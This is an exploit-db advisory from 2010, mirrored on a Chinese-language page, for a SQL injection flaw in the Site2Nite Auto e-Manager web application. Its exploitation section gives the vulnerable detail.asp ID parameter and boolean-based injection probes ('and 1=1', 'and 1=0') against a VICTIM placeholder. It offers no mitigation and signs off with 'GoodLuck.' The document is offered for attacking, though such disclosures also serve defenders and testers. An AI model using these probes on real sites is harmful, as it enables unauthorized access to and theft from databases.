Site2Nite Auto e-Manager – SQL Injection

  • 作者: KnocKout
    日期: 2010-10-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15230/
  • ==================================================
    Auto e-Manager <= SQL Injection Vulnerability
    ==================================================
    
    ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [+] Author : KnocKout
    [~] Contact : knockoutr@msn.com
    [+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
     { H4X0RE SECURITY PROJECT }
    ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~Web App. : Auto e-Manager
    ~Software: http://www.site2nite.com/
    ~Vulnerability Style : SQL Injection
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
    ~~~~~~~~ Explotation~~~~~~~~~~~
    
     http://VICTIM/www/detail.asp?ID=654 {SQL Injection}
     http://VICTIM/www/detail.asp?ID=654 and 1=1{True}
     http://VICTIM/www/detail.asp?ID=654 and 1=0{False}
     
    ================================
    
     GoodLuck.